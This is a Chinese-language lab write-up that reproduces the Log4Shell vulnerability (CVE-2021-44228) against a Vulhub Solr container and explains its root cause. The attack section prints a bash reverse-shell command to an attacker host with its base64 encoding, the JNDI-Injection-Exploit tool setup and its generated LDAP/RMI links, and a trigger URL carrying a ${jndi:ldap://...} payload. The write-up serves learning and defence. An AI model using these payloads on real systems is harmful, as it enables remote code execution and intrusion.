本文针对具有“核弹级”影响的 Log4j2 远程代码执行漏洞(CVE-2021-44228,又称 Log4Shell) 进行了全流程复现与深度原理分析。该漏洞源于 Apache Log4j2 日志框架对 JNDI(Java 命名和目录接口) 注入攻击缺乏有效防御,允许攻击者通过发送包含特定指令的日志字符串,诱导服务器从远程恶意地址加载并执行任意 Java 代码。
漏洞基础信息
| 漏洞编号 | CVSS 评分 | 影响版本 | 漏洞类型 |
|---|---|---|---|
| CVE-2021-44228 | 10.0 | Apache Log4j2 2.0-beta9 至 2.14.1 | 远程代码执行 (RCE) |
漏洞复现
复现环境准备
使用vulhub快速搭建漏洞环境:
# 安装Docker和docker-compose
apt install docker.io docker-compose
# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git
# 拉取镜像并启动容器
cd vulhub/log4j/CVE-2021-44228
docker-compose up -d
# 确认容器启动状态
docker ps
eda4bde0a45d vulhub/solr:8.11.0 "bash /docker-entryp…" 28 seconds ago Up 28 seconds 0.0.0.0:5005->5005/tcp, :::5005->5005/tcp, 0.0.0.0:8983->8983/tcp, :::8983->8983/tcp cve-2021-44228-solr-1
可正常访问控制台页面http://target-IP:8983说明启动成功:

目标探测
nmap -sS -Pn -T4 -sV -p- --script "default,vulners" target-IP
# 扫描结果
PORT STATE SERVICE VERSION
5005/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) version 1.8 1.8.0_102
|_jdwp-info: ERROR: Script execution failed (use -d to debug)
8983/tcp open http Apache Solr
| http-title: Solr Admin
|_Requested resource was http://192.168.31.148:8983/solr/
MAC Address: 00:0C:29:B3:23:74 (VMware)
8983 端口开放,运行 HTTP 服务,nmap 识别为Apache Solr(Log4Shell 漏洞靶机的核心服务),端口状态为open(开放),说明 TCP 连接可正常建立。
5005 端口开放,运行JDWP(Java 调试线协议),靶机 Solr 开启了 Java 调试模式,属于额外环境信息。
攻击过程
使用JNDI-Injection-Exploit 工具
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar需要JDK 8,如果kali自带的OpenJDK版本过高且Kali Rolling(滚动更新版)的默认软件源移除了 OpenJDK 8(被标记为旧版 / 归档),推荐手动下载对应版本。
┌──(kali㉿kali)-[~]
└─$ cd /usr/local
┌──(kali㉿kali)-[/usr/local]
└─$ wget https://github.com/adoptium/temurin8-binaries/releases/download/jdk8u422-b05/OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
└─$ tar -xzvf OpenJDK8U-jdk_x64_linux_hotspot_8u422b05.tar.gz
└─$ mv jdk8u422-b05/ jdk8
└─$ export JAVA_HOME=/usr/local/jdk8
└─$ export PATH=$JAVA_HOME/bin:$PATH #此处修改仅临时生效
└─$ java -version
openjdk version "1.8.0_422"
OpenJDK Runtime Environment (Temurin)(build 1.8.0_422-b05)
OpenJDK 64-Bit Server VM (Temurin)(build 25.422-b05, mixed mode)
└─$ javac -version
javac 1.8.0_422
攻击机启动 nc 监听,接收反弹 Shell:
┌──(kali㉿kali)-[~]
└─$ nc -lvvp 4444
listening on [any] 4444 ...
下载并启动工具,生成反弹 Shell 恶意载荷:
┌──(kali㉿kali)-[/usr/local] # 生成反弹Shell命令的Base64编码
└─$ echo "bash -i >& /dev/tcp/attacker-IP/4444 0>&1" | base64 | tr -d '\n'
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK
└─$ wget https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar # 下载工具
# 格式:java -jar 工具包 -C "反弹Shell命令" -A attacker-IP
└─$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" -A 192.168.31.152
[ADDRESS] >> 192.168.31.152
[COMMAND] >> bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}
----------------------------JNDI Links----------------------------
Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.31.152:1099/nh5zbf
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.31.152:1099/qma4qp
ldap://192.168.31.152:1389/qma4qp
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.31.152:1099/z8a4er
ldap://192.168.31.152:1389/z8a4er
----------------------------Server Log----------------------------
2022-01-14 18:43:58 [JETTYSERVER]>> Listening on 0.0.0.0:8180
2022-01-14 18:43:58 [RMISERVER] >> Listening on 0.0.0.0:1099
2022-01-14 18:43:58 [LDAPSERVER] >> Listening on 0.0.0.0:1389
成功启动了 JNDI-Injection-Exploit 工具,终端输出显示 LDAP/RMI/HTTP 服务器均已正常监听(8180/1099/1389 端口),且工具已根据不同 JDK 版本生成了对应的恶意 JNDI 链接。接下来只需选择适配靶机的 Payload 触发漏洞,就能拿到反弹 Shell。
浏览器拼接访问:
http://target-IP:8983/solr/admin/cores?action=${jndi:ldap://192.168.31.152:1389/z8a4er}
反弹Shell成功,容器id与先前拉起的靶机一致:

漏洞核心原理
核心前置概念
先明确 2 个关键概念,否则原理会难以理解:
Log4j2 的「消息格式化」功能
Log4j2是Java生态最常用的日志框架,它支持参数化日志和格式化语法,你可以在日志中写 ${变量名},Log4j2 会自动解析这个变量并替换为对应的值。
比如代码中写:
logger.info("用户IP:${ip}");
Log4j2 会把 ${ip} 替换成实际的IP地址,这是正常的格式化功能。
JNDI(Java 命名和目录接口)
JNDI是Java的一个接口,用于访问命名/目录服务(比如 LDAP、RMI、DNS等)。简单说,通过JNDI,Java程序可以从远程服务器上加载数据/类。
// 通过 JNDI 从 LDAP 服务器加载一个对象
Context ctx = new InitialContext();
Object obj = ctx.lookup("ldap://192.168.31.152:1389/malicious");
正常情况下,这是为了方便程序访问远程资源,但被漏洞利用后就成了RCE的通道。
核心漏洞根源
这个漏洞的本质是:Log4j2对日志中的 ${} 语法解析过于宽松,允许解析 JNDI 协议的表达式,且未限制远程加载类的行为。
无过滤解析${jndi:…}`表达式
Log4j2不仅会解析普通变量(如 ${ip}),还会解析 ${jndi:xxx} 这种JNDI表达式,只要日志中出现这个语法,Log4j2 就会自动调用 JNDI 接口去执行 lookup 操作。
比如攻击者在请求中传入:
${jndi:ldap://192.168.31.152:1389/恶意类}
只要这个字符串被写入Log4j2日志,就会触发JNDI解析。
允许远程加载类(URLCodebase开启)
Log4j2底层依赖的JDK默认开启了从远程URL加载类的功能(trustURLCodebase=true)。当JNDI访问 LDAP/RMI 服务器时,不仅能加载数据,还能加载远程服务器上的恶意Java类,并直接执行类中的代码。
输入可控性
攻击者可以通过任意能被Log4j2记录的输入(比如 URL参数、HTTP请求头、表单数据等)传入${jndi:...}表达式。比如User-Agent/X-Forwarded-For 请求头、q 参数等,只要被写入日志,就会触发漏洞。